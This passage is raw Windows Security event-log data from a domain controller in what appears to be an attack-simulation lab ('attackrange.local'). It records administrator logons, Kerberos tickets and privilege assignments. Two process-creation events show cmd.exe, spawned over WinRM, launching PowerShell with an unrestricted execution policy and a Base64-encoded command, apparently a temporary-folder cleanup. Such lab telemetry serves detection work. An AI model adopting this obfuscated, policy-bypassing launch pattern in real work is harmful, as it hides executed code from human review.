0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251914 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x148F6C - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251913 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x148788 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251912 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x148788 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251911 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251910 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251909 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251908 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x934 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xf38 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABjAEEATABnAEEAMgBBAEQAQQBBAE4AQQBBADAAQQBEAGMAQQBOAEEAQQA0AEEAQwAwAEEATQBnAEEAegBBAEQAWQBBAE4AQQBBADAAQQBEAEUAQQBNAEEAQQB5AEEARABBAEEATwBRAEEAeQBBAEQAWQBBAE0AdwBBAHcAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251907 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x14253C - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf38 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12c4 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABjAEEATABnAEEAMgBBAEQAQQBBAE4AQQBBADAAQQBEAGMAQQBOAEEAQQA0AEEAQwAwAEEATQBnAEEAegBBAEQAWQBBAE4AQQBBADAAQQBEAEUAQQBNAEEAQQB5AEEARABBAEEATwBRAEEAeQBBAEQAWQBBAE0AdwBBAHcAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251906 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485D4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251905 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485D4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251904 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251903 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251902 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251901 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485B8 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251900 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485B8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251899 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1485B8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251898 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251897 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {FAC501BC-B388-8089-25B4-2DB68FD552EC} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251896 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251895 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1481A7 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251894 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x146D78 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:53 PM -LogName=Security 